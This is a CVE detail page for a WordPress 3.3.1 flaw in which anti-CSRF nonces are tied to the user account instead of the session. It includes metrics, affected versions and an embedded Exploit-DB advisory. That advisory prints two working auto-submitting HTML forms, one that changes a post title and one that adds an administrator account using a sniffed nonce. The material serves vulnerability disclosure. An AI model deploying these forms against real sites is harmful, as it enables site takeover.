CVE-2012-1936 : Detail

CVE-2012-1936

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.53%V3
Network
2012-05-03
18h00 +00:00
2017-12-13
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

The wp_create_nonce function in wp-includes/pluggable.php in WordPress 3.3.1 and earlier associates a nonce with a user account instead of a user session, which might make it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks on specific actions and objects by sniffing the network, as demonstrated by attacks against the wp-admin/admin-ajax.php and wp-admin/user-new.php scripts. NOTE: the vendor reportedly disputes the significance of this issue because wp_create_nonce operates as intended, even if it is arguably inconsistent with certain CSRF protection details advocated by external organizations

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18791

Publication date : 2012-04-26 22h00 +00:00
Author : Ivano Binetti
EDB Verified : No

+---------------------------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities # Date : 19-03-2012 # Author : Ivano Binetti (http://www.ivanobinetti.com) # Software link : http://wordpress.org/wordpress-3.3.1.zip # Vendor site : http://wordpress.org # Version : 3.3.1 (and lower). Probably also version 3.3.2 is affected. # Tested on : Debian Squeeze (6.0) # Original Advisory : http://www.webapp-security.com/2012/04/wordpress-3-3-1-multiple-csrf-vulnerabilities/ # CVE : CVE-2012-1936 # OSVDB ID : 81588 # Bugtraq ID : 53280 +---------------------------------------------------------------------------------------------------------------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 2.1 Multiple CSRF 3)Exploit 3.1 CSRF (Change Post Title) 3.2 CSRF (Add Admin) +---------------------------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at the same time." 2)Vulnerability Description 2.1 Multiple CSRF Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin browses a special crafted web page. May be other parameters can be modified. This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce, _wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user) within 12 hour. The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack. For Owasp recommendation about anti-CSRF token, you can read the following document: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern This problem affects the following operations: - Add Admin/User - Delete Admin/User - Approve comment - Unapprove comment - Delete comment - Change background image - Insert custom header image - Change site title - Change administrator's email - Change Wordpress Address - Change Site Address Other operations (like insert a new post) are not affected by this CSRF vulnerability. In this Advisory I will only demonstrate how to change post title and how to add a new administrator account. 3)Exploit 3.1 CSRF (Change Post Title) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change post title</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"> <input type="hidden" name="post_title" value="hackedtitle"/> <input type="hidden" name="post_name" value="hackedtitle"/> <input type="hidden" name="mm" value="03"/> <input type="hidden" name="jj" value="16"/> <input type="hidden" name="aa" value="2012"/> <input type="hidden" name="hh" value=""/> <input type="hidden" name="mn" value=""/> <input type="hidden" name="ss" value=""/> <input type="hidden" name="post_author" value="1"/> <input type="hidden" name="post_password" value=""/> <input type="hidden" name="post_category%5B%5D" value="0"/> <input type="hidden" name="post_category%5B%5D" value="1"/> <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/> <input type="hidden" name="comment_status" value="open"/> <input type="hidden" name="ping_status" value="open"/> <input type="hidden" name="_status" value="publish"/> <input type="hidden" name="post_format" value="0"/> <input type="hidden" name="_inline_edit" value="<sniffed_value>"/> <input type="hidden" name="post_view" value="list"/> <input type="hidden" name="screen" value="edit-post"/> <input type="hidden" name="action" value="inline-save"/> <input type="hidden" name="post_type" value="post"/> <input type="hidden" name="post_ID" value="1"/> <input type="hidden" name="edit_date" value="true"/> <input type="hidden" name="post_status" value="all"/> </form> </body> </html> Note: this exploit simulate changing of post title using "Quick Edit" function 3.2 CSRF (Add Admin) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="[email protected]"/> <input type="hidden" name="first_name" value="[email protected]"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html> +--------------------------------------------------------------------------------------------------------------------------------------------------+

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 3.3.1

Wordpress>>Wordpress >> Version 1.0

Wordpress>>Wordpress >> Version 1.0.1

Wordpress>>Wordpress >> Version 1.0.2

Wordpress>>Wordpress >> Version 1.1.1

Wordpress>>Wordpress >> Version 1.2

Wordpress>>Wordpress >> Version 1.2.1

Wordpress>>Wordpress >> Version 1.2.2

Wordpress>>Wordpress >> Version 1.2.3

Wordpress>>Wordpress >> Version 1.2.4

Wordpress>>Wordpress >> Version 1.2.5

Wordpress>>Wordpress >> Version 1.2.5

Wordpress>>Wordpress >> Version 1.3

Wordpress>>Wordpress >> Version 1.3.2

Wordpress>>Wordpress >> Version 1.3.3

Wordpress>>Wordpress >> Version 1.5

Wordpress>>Wordpress >> Version 1.5.1

Wordpress>>Wordpress >> Version 1.5.1.1

Wordpress>>Wordpress >> Version 1.5.1.2

Wordpress>>Wordpress >> Version 1.5.1.3

Wordpress>>Wordpress >> Version 1.5.2

Wordpress>>Wordpress >> Version 2.0

Wordpress>>Wordpress >> Version 2.0.1

Wordpress>>Wordpress >> Version 2.0.2

Wordpress>>Wordpress >> Version 2.0.4

Wordpress>>Wordpress >> Version 2.0.5

Wordpress>>Wordpress >> Version 2.0.6

Wordpress>>Wordpress >> Version 2.0.7

Wordpress>>Wordpress >> Version 2.0.8

Wordpress>>Wordpress >> Version 2.0.9

Wordpress>>Wordpress >> Version 2.0.10

Wordpress>>Wordpress >> Version 2.0.11

Wordpress>>Wordpress >> Version 2.1

Wordpress>>Wordpress >> Version 2.1.1

Wordpress>>Wordpress >> Version 2.1.2

Wordpress>>Wordpress >> Version 2.1.3

Wordpress>>Wordpress >> Version 2.2

Wordpress>>Wordpress >> Version 2.2.1

Wordpress>>Wordpress >> Version 2.2.2

Wordpress>>Wordpress >> Version 2.2.3

Wordpress>>Wordpress >> Version 2.3

Wordpress>>Wordpress >> Version 2.3.1

Wordpress>>Wordpress >> Version 2.3.2

Wordpress>>Wordpress >> Version 2.3.3

Wordpress>>Wordpress >> Version 2.5

Wordpress>>Wordpress >> Version 2.5.1

Wordpress>>Wordpress >> Version 2.6

Wordpress>>Wordpress >> Version 2.6.1

Wordpress>>Wordpress >> Version 2.6.2

Wordpress>>Wordpress >> Version 2.6.3

Wordpress>>Wordpress >> Version 2.6.5

Wordpress>>Wordpress >> Version 2.7

Wordpress>>Wordpress >> Version 2.7.1

Wordpress>>Wordpress >> Version 2.8

Wordpress>>Wordpress >> Version 2.8.1

Wordpress>>Wordpress >> Version 2.8.2

Wordpress>>Wordpress >> Version 2.8.3

Wordpress>>Wordpress >> Version 2.8.4

Wordpress>>Wordpress >> Version 2.8.4

Wordpress>>Wordpress >> Version 2.8.5

Wordpress>>Wordpress >> Version 2.8.5.1

Wordpress>>Wordpress >> Version 2.8.5.2

Wordpress>>Wordpress >> Version 2.8.6

Wordpress>>Wordpress >> Version 2.9

Wordpress>>Wordpress >> Version 2.9.1

Wordpress>>Wordpress >> Version 2.9.1.1

Wordpress>>Wordpress >> Version 2.9.2

Wordpress>>Wordpress >> Version 3.0

Wordpress>>Wordpress >> Version 3.0.1

Wordpress>>Wordpress >> Version 3.0.2

Wordpress>>Wordpress >> Version 3.0.3

Wordpress>>Wordpress >> Version 3.0.3

    Wordpress>>Wordpress >> Version 3.0.4

    Wordpress>>Wordpress >> Version 3.0.5

    Wordpress>>Wordpress >> Version 3.0.6

    Wordpress>>Wordpress >> Version 3.1

    Wordpress>>Wordpress >> Version 3.1.1

    Wordpress>>Wordpress >> Version 3.1.2

    Wordpress>>Wordpress >> Version 3.1.3

    Wordpress>>Wordpress >> Version 3.1.4

    Wordpress>>Wordpress >> Version 3.2

    Wordpress>>Wordpress >> Version 3.2.1

    Wordpress>>Wordpress >> Version 3.3

    References

    http://www.exploit-db.com/exploits/18791
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/53280
    Tags : vdb-entry, x_refsource_BID